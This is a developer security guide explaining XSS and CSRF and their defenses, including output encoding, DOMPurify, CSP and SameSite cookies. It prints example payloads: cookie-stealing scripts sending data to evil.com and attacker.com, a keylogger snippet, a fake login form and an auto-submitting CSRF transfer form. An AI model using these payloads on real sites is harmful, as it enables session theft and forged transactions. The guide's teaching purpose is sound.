正在加载,请稍候…

XSS and CSRF Prevention: A Complete Web Security Guide for Developers

Deep dive into Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF): attack mechanisms, real examples, Content Security Policy, SameSite cookies, and framework-specific defenses.

Why XSS and CSRF Still Dominate Vulnerability Reports

Despite being decades-old attack categories, XSS and CSRF remain in OWASP's Top 10 for a simple reason: the attack surface grows as applications grow. Every new input field, every third-party script, every form that changes state is a potential vector.

Modern frameworks mitigate many cases automatically — React escapes JSX by default, Angular sanitizes templates. But "mostly safe by default" isn't the same as "secure." Understanding the mechanisms helps you recognize the cases that fall through the framework's automatic protections.

Cross-Site Scripting (XSS) Explained

XSS occurs when an attacker injects malicious scripts into a page that other users view. The browser executes the script in the context of the legitimate site, giving the attacker access to cookies, session tokens, and page content.

Three Types of XSS

Reflected XSS — payload in the URL, reflected back in the response:

Malicious URL: https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Server response (vulnerable):
<p>Results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>

Victim clicks a link with this URL → their browser executes the script → cookies sent to attacker.

Stored XSS — payload persisted in the database:

Attacker posts a comment:
"Great article! <script>fetch('https://evil.com/'+document.cookie)</script>"

Server stores it. When other users load the page, the script executes for all of them.
This is more dangerous — every page view is an attack.

DOM-Based XSS — no server involvement; JavaScript reads from attacker-controlled sources:

// Vulnerable code
const name = new URLSearchParams(window.location.search).get('name')
document.getElementById('greeting').innerHTML = 'Hello, ' + name
// URL: /page?name=<img src=x onerror="alert(document.cookie)">

What Attackers Do with XSS

// Session hijacking
fetch('https://attacker.com/steal?token=' + document.cookie)

// Credential harvesting — inject fake login form
document.body.innerHTML = '<div style="..."><form action="https://attacker.com/collect">...'

// Keylogging
document.addEventListener('keypress', e => {
  fetch('https://attacker.com/log?k=' + e.key)
})

// Cryptomining, ad fraud, click hijacking...

XSS Prevention

1. Output encoding — the primary defense:

// NEVER do this:
element.innerHTML = userInput

// Always use text content for plain text:
element.textContent = userInput

// For HTML output, use a sanitizer library:
import DOMPurify from 'dompurify'
element.innerHTML = DOMPurify.sanitize(userInput)
// DOMPurify allows safe HTML (bold, links) and strips scripts

// Server-side (Node.js):
import { escape } from 'html-escaper'
const safeOutput = escape(userInput)
// Converts: < → &lt;  > → &gt;  & → &amp;  " → &quot;

2. React-specific notes:

// React automatically escapes JSX expressions — this is safe:
function UserName({ name }: { name: string }) {
  return <p>Hello, {name}</p> // Automatically escaped
}

// dangerouslySetInnerHTML bypasses escaping — sanitize first:
function RichContent({ html }: { html: string }) {
  // ❌ Never do this without sanitizing:
  return <div dangerouslySetInnerHTML={{ __html: html }} />

  // ✅ Sanitize with DOMPurify:
  const cleanHtml = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'li', 'code'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  })
  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
}

// href attributes need special care:
// ❌ javascript: URLs bypass React's escaping
const url = 'javascript:alert(1)'
<a href={url}>Click</a> // React renders this as-is!

// ✅ Validate URL schemes:
function SafeLink({ href, children }: { href: string, children: React.ReactNode }) {
  const safeHref = /^https?:///.test(href) ? href : '#'
  return <a href={safeHref} rel="noopener noreferrer">{children}</a>
}

3. Content Security Policy (CSP):

CSP is a browser security layer that restricts which resources a page can load:

# HTTP header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' data: https://cdn.example.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'

Breaking down the directives:

  • default-src 'self': Only load resources from the same origin by default
  • script-src 'self' 'nonce-{random}': Scripts only from same origin + inline scripts with matching nonce
  • frame-ancestors 'none': Prevents clickjacking (replaces X-Frame-Options)

Nonce-based CSP for inline scripts:

// Server generates a random nonce per request
const nonce = crypto.randomBytes(16).toString('base64')

// Set header
res.setHeader('Content-Security-Policy', 
  `script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}'`
)

// Add nonce to inline scripts
res.send(`<script nonce="${nonce}">
  // This runs because it has the matching nonce
  initApp()
</script>`)

// Scripts without the nonce are blocked by the browser

Next.js CSP configuration:

// middleware.ts
import { NextResponse } from 'next/server'

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
  
  const csp = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' blob: data:;
    connect-src 'self';
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `.replace(/\s{2,}/g, ' ').trim()

  const response = NextResponse.next()
  response.headers.set('Content-Security-Policy', csp)
  return response
}

Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user's browser into making requests to another site. The browser automatically includes cookies, so the request arrives at the server looking legitimate.

The Attack Scenario

<!-- Attacker's page: evil.com -->
<!-- Victim is logged into bank.com -->
<form action="https://bank.com/transfer" method="POST" id="hiddenForm">
  <input type="hidden" name="to" value="attacker-account" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('hiddenForm').submit()</script>
<!-- Browser sends the request with victim's bank.com cookies -->

CSRF Prevention Methods

1. CSRF Tokens (Synchronizer Token Pattern):

// Server generates and stores a CSRF token per session
import crypto from 'crypto'

function generateCsrfToken(): string {
  return crypto.randomBytes(32).toString('hex')
}

// Include in every form response
app.get('/transfer', (req, res) => {
  const csrfToken = generateCsrfToken()
  req.session.csrfToken = csrfToken
  
  res.render('transfer', { csrfToken })
})

// HTML form includes the token
// <input type="hidden" name="_csrf" value="{{csrfToken}}">

// Validate on POST
app.post('/transfer', (req, res) => {
  const { _csrf, amount, to } = req.body
  
  if (_csrf !== req.session.csrfToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' })
  }
  
  // Process transfer...
})

2. SameSite Cookies (Modern Defense):

// Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: Cookie not sent for any cross-site requests
// SameSite=Lax: Cookie sent for top-level GET, not for POST/PUT from other sites

res.cookie('sessionId', token, {
  httpOnly: true,      // Not accessible via JavaScript
  secure: true,        // HTTPS only
  sameSite: 'strict',  // No cross-site requests
  maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
})

// For APIs, prefer SameSite=Lax + verify Origin header

3. Double Submit Cookie:

// Stateless CSRF protection for APIs
// 1. Server sets a CSRF cookie (non-HttpOnly, so JS can read it)
// 2. Client reads cookie, includes it in request header
// 3. Server verifies cookie value matches header value

// Client-side:
function getCookie(name: string): string | null {
  const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'))
  return match ? match[2] : null
}

// Add to all state-changing requests:
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCookie('csrf-token') ?? '',
  },
  body: JSON.stringify({ amount, to }),
})

// Server validates:
app.post('/api/transfer', (req, res) => {
  const cookieToken = req.cookies['csrf-token']
  const headerToken = req.headers['x-csrf-token']
  
  if (!cookieToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF validation failed' })
  }
  // Proceed...
})

4. Origin/Referer Header Validation:

// Simple CSRF check for APIs
function validateOrigin(req: Request): boolean {
  const origin = req.headers.origin || req.headers.referer
  if (!origin) return false // Reject requests with no origin
  
  const allowedOrigins = ['https://example.com', 'https://app.example.com']
  return allowedOrigins.some(allowed => origin.startsWith(allowed))
}

app.post('/api/*', (req, res, next) => {
  if (!validateOrigin(req)) {
    return res.status(403).json({ error: 'Origin not allowed' })
  }
  next()
})

Defense Checklist

XSS Defense:
□ Use textContent instead of innerHTML for user data
□ Sanitize HTML with DOMPurify before rendering
□ Implement CSP headers (at minimum: default-src 'self')
□ Validate URL schemes before rendering href attributes
□ Never use eval() or new Function() with user input
□ Set HttpOnly on session cookies (prevents JS access)

CSRF Defense:
□ SameSite=Strict or SameSite=Lax on session cookies
□ CSRF tokens on all state-changing forms
□ Validate Origin/Referer for API endpoints
□ Use POST/PUT/DELETE for state changes (never GET)

General:
□ X-Content-Type-Options: nosniff
□ X-Frame-Options: DENY (or CSP frame-ancestors)
□ Strict-Transport-Security: max-age=31536000
□ Referrer-Policy: strict-origin-when-cross-origin

Understanding attack mechanisms — not just memorizing defenses — is what makes secure code review effective. When you know exactly how an attacker would exploit a reflected XSS in a search box, you write different code than when you're just "following security best practices."

→ Safely encode HTML entities to prevent XSS with the HTML Entities tool.